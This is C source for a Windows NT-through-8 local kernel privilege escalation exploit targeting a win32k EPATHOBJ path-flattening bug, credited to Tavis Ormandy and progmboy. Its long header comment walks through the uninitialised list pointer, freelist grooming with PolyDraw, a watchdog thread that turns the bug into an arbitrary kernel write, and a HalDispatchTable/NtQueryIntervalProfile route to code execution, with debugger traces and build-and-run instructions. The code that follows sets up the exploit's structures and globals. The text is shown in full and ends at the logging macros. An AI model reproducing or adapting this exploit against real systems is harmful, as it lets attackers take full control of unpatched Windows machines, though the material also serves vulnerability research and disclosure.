// // -------------------------------------------------- // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit // ----------------------------------------- taviso@cmpxchg8b.com ----- // // INTRODUCTION // // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the // next list pointer. The bug is really nice, but exploitation when // allocations start failing is tricky. // // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, // PATHRECORD **pppr, // ULONG *pcMax, // ULONG cNeeded) // .text:BFA122CA mov esi, [ebp+ppr] // .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] // .text:BFA122D0 push edi // .text:BFA122D1 mov edi, [ebp+pprNew] // .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax // .text:BFA122D7 lea eax, [edi+PATHRECORD.count] // .text:BFA122DA xor edx, edx // .text:BFA122DC mov [eax], edx // .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] // .text:BFA122E1 and ecx, not (PD_BEZIER) // .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx // .text:BFA122E7 mov [ebp+pprNewCountPtr], eax // .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx // .text:BFA122ED jnz short loc_BFA122F7 // .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] // .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi // // It turns out this mostly works because newpathrec() is backed by newpathalloc() // which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. // // ; PVOID __stdcall PALLOCMEM(size_t size, int tag) // .text:BF9160D7 xor esi, esi // .text:BF9160DE push esi // .text:BF9160DF push esi // .text:BF9160E0 push [ebp+tag] // .text:BF9160E3 push [ebp+size] // .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x) // .text:BF9160EB mov esi, eax // .text:BF9160ED test esi, esi // .text:BF9160EF jz short loc_BF9160FF // .text:BF9160F1 push [ebp+size] ; size_t // .text:BF9160F4 push 0 ; int // .text:BF9160F6 push esi ; void * // .text:BF9160F7 call _memset // // However, the PATHALLOC allocator includes it's own freelist implementation, and // if that codepath can satisfy a request the memory isn't zeroed and returned // directly to the caller. This effectively means that we can add our own objects // to the PATHRECORD chain. // // We can force this behaviour under memory pressure relatively easily, I just // spam HRGN objects until they start failing. This isn't super reliable, but it's // good enough for testing. // // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // // failure. Seriously, do some damn QA Microsoft, wtf. // for (Size = 1 << 26; Size; Size >>= 1) { // while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) // ; // } // // Adding user controlled blocks to the freelist is a little trickier, but I've // found that flattening large lists of bezier curves added with PolyDraw() can // accomplish this reliably. The code to do this is something along the lines of: // // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = 0x41414141 >> 4; // Points[PointNum].y = 0x41414141 >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { // BeginPath(Device); // PolyDraw(Device, Points, PointTypes, PointNum); // EndPath(Device); // FlattenPath(Device); // FlattenPath(Device); // EndPath(Device); // } // // We can verify this is working by putting a breakpoint after newpathrec, and // verifying the buffer is filled with recognisable values when it returns: // // kd> u win32k!EPATHOBJ::pprFlattenRec+1E // win32k!EPATHOBJ::pprFlattenRec+0x1e: // 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) // 95c922bd 83f801 cmp eax,1 // 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) // 95c922c2 33c0 xor eax,eax // 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) // 95c922c9 56 push esi // 95c922ca 8b7508 mov esi,dword ptr [ebp+8] // 95c922cd 8b4604 mov eax,dword ptr [esi+4] // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" // kd> g // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // // The breakpoint dumps the first dword of the returned buffer, which matches the // bezier points set with PolyDraw(). So convincing pprFlattenRec() to move // EPATHOBJ->records->head->next->next into userspace is no problem, and we can // easily break the list traversal in bFlattten(): // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // EPATHOBJ *pathobj; // esi@1 // PATHOBJ *ppath; // eax@1 // BOOL result; // eax@2 // PATHRECORD *ppr; // eax@3 // // pathobj = this; // ppath = this->ppath; // if ( ppath ) // { // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // if ( !ppr ) // goto LABEL_2; // } // } // pathobj->fl &= 0xFFFFFFFE; // result = 1; // } // else // { // LABEL_2: // result = 0; // } // return result; // } // // All we have to do is allocate our own PATHRECORD structure, and then spam // PolyDraw() with POINTFIX structures containing co-ordinates that are actually // pointers shifted right by 4 (for this reason the structure must be aligned so // the bits shifted out are all zero). // // We can see this in action by putting a breakpoint in bFlatten when ppr has // moved into userspace: // // kd> u win32k!EPATHOBJ::bFlatten // win32k!EPATHOBJ::bFlatten: // 95c92517 8bff mov edi,edi // 95c92519 56 push esi // 95c9251a 8bf1 mov esi,ecx // 95c9251c 8b4608 mov eax,dword ptr [esi+8] // 95c9251f 85c0 test eax,eax // 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) // 95c92523 33c0 xor eax,eax // 95c92525 5e pop esi // kd> u // win32k!EPATHOBJ::bFlatten+0xf: // 95c92526 c3 ret // 95c92527 8b4014 mov eax,dword ptr [eax+14h] // 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) // 95c9252c f6400810 test byte ptr [eax+8],10h // 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) // 95c92532 50 push eax // 95c92533 8bce mov ecx,esi // 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) // // So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS // flags (defined in winddi.h). Let's break if it's in userspace: // // kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" // kd> g // 95c9252c f6400810 test byte ptr [eax+8],10h // kd> r // eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d // eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 // win32k!EPATHOBJ::bFlatten+0x15: // 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? // // The question is how to turn that into code execution? It's obviously trivial to // call prFlattenRec with our userspace PATHRECORD..we can do that by setting // PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure // poses a problem. // // Let me demonstrate calling it with my own PATHRECORD: // // // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // // pathrecord chain. // PathRecord = VirtualAlloc(NULL, // sizeof(PATHRECORD), // MEM_COMMIT | MEM_RESERVE, // PAGE_EXECUTE_READWRITE); // // // Initialise with recognisable debugging values. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); // // PathRecord->next = (PVOID)(0x41414141); // PathRecord->prev = (PVOID)(0x42424242); // // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // // EPATHOBJ::bFlatten(), do that here. // PathRecord->flags = PD_BEZIERS; // // // Generate a large number of Bezier Curves made up of pointers to our // // PATHRECORD object. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = (ULONG)(PathRecord) >> 4; // Points[PointNum].y = (ULONG)(PathRecord) >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" // kd> g // win32k!EPATHOBJ::pprFlattenRec+0x28: // 95c922c2 33c0 xor eax,eax // kd> dd ebp+8 L1 // a3633be0 00130000 // // The ppr object is in userspace! If we peek at it: // // kd> dd poi(ebp+8) // 00130000 41414141 42424242 00000010 cccccccc // 00130010 00000000 00000000 00000000 00000000 // 00130020 00000000 00000000 00000000 00000000 // 00130030 00000000 00000000 00000000 00000000 // 00130040 00000000 00000000 00000000 00000000 // 00130050 00000000 00000000 00000000 00000000 // 00130060 00000000 00000000 00000000 00000000 // 00130070 00000000 00000000 00000000 00000000 // // There's the next and prev pointer. // // kd> kvn // # ChildEBP RetAddr Args to Child // 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) // 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) // 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) // 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) // // The question is how to get PATHALLOC() to succeed under memory pressure so we // can make this exploitable? I'm quite proud of this list cycle trick, // here's how to turn it into an arbitrary write. // // First, we create a watchdog thread that will patch the list atomically // when we're ready. This is needed because we can't exploit the bug while // HeavyAllocPool is failing, because of the early exit in pprFlattenRec: // // .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) // .text:BFA122BD cmp eax, 1 ; Check for failure // .text:BFA122C0 jz short continue // .text:BFA122C2 xor eax, eax ; Exit early // .text:BFA122C4 jmp early_exit // // So we create a list node like this: // // PathRecord->Next = PathRecord; // PathRecord->Flags = 0; // // Then EPATHOBJ::bFlatten() spins forever doing nothing: // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // /* ... */ // // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // } // } // // /* ... */ // } // // While it's spinning, we clean up in another thread, then patch the thread (we // can do this, because it's now in userspace) to trigger the exploit. The first // block of pprFlattenRec does something like this: // // if ( pprNew->pprPrev ) // pprNew->pprPrev->pprnext = pprNew; // // Let's make that write to 0xCCCCCCCC. // // DWORD WINAPI WatchdogThread(LPVOID Parameter) // { // // // This routine waits for a mutex object to timeout, then patches the // // compromised linked list to point to an exploit. We need to do this. // LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p", // GetCurrentThreadId(), // Mutex); // // if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // // up, and then patch the list to trigger our exploit. // while (NumRegion--) // DeleteObject(Regions[NumRegion]); // // LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); // // InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); // // } else { // LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); // } // // return 0; // } // // PathRecord->next = PathRecord; // PathRecord->prev = (PVOID)(0x42424242); // PathRecord->flags = 0; // // ExploitRecord.next = NULL; // ExploitRecord.prev = 0xCCCCCCCC; // ExploitRecord.flags = PD_BEZIERS; // // Here's the output on Windows 8: // // kd> g // ******************************************************************************* // * * // * Bugcheck Analysis * // * * // ******************************************************************************* // // Use !analyze -v to get detailed debugging information. // // BugCheck 50, {cccccccc, 1, 8f18972e, 2} // *** WARNING: Unable to verify checksum for ComplexPath.exe // *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe // Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) // // Followup: MachineOwner // --------- // // nt!RtlpBreakWithStatusInstruction: // 810f46f4 cc int 3 // kd> kv // ChildEBP RetAddr Args to Child // a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) // a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) // a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) // a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 // a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 // a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 // a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) // a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) // a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) // a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) // a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) // a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) // 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) // 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) // WARNING: Stack unwind information not available. Following frames may be wrong. // 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f // 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade // 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) // 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH]) // 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) // kd> .trap a03aba2c // ErrCode = 00000002 // eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 // eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 // win32k!EPATHOBJ::pprFlattenRec+0x82: // 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? // kd> vertarget // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible // Product: WinNt, suite: TerminalServer SingleUserTS // Built by: 9200.16581.x86fre.win8_gdr.130410-1505 // Machine Name: // Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 // Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) // System Uptime: 0 days 0:02:30.432 // kd> .bugcheck // Bugcheck code 00000050 // Arguments cccccccc 00000001 8f18972e 00000002 // // EXPLOITATION // // We're somewhat limited with what we can do, as we don't control what's // written, it's always a pointer to a PATHRECORD object. We can clobber a // function pointer, but the problem is making it point somewhere useful. // // The solution is to make the Next pointer a valid sequence of instructions, // which jumps to our second stage payload. We have to do that in just 4 bytes // (unless you can find a better call site, let me know if you spot one). // // Thanks to progmboy for coming up with the solution: you reach back up the // stack and pull a SystemCall parameter out of the stack. It turns out // NtQueryIntervalProfile matches this requirement perfectly. // // INSTRUCTIONS // // C:\> cl ComplexPath.c // C:\> ComplexPath // // You might need to run it several times before we get the allocation we need, // it won't crash if it doesn't work, so you can keep trying. I'm not sure how // to improve that. // // CREDIT // // Tavis Ormandy // progmboy // #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS #endif #include #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #pragma comment(linker, "/SECTION:.text,ERW") #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000 static POINT Points[MAX_POLYPOINTS]; static BYTE PointTypes[MAX_POLYPOINTS]; static HRGN Regions[MAX_REGIONS]; static ULONG ComplexPathNumRegion = 0; static HANDLE Mutex; static DWORD ComplexPathFinished = 0; // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; PPATHRECORD ExploitRecordExit; enum { SystemModuleInformation = 11 }; enum { ProfileTotalIssues = 2 }; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; FARPROC NtQuerySystemInformation; FARPROC NtQueryIntervalProfile; FARPROC PsReferencePrimaryToken; FARPROC PsLookupProcessByProcessId; PULONG HalDispatchTable; ULONG HalQuerySystemInformation; PULONG TargetPid; PVOID *PsInitialSystemProcess; //#define DEBUGTRACE 1 // Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; #ifdef DEBUGTRACE VOID LogMessage(LEVEL Level, PCHAR Format, ...); #define dprintf(...) real_dprintf(__VA_ARGS__) static void real_dprintf(char *format, ...) { va_list args; char buffer[1024]; va_start(args,format); vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); strcat_s(buffer, sizeof(buffer), "\r\n"); OutputDebugStringA(buffer); } #else #define dprintf(...) #define LogMessage(...) #endif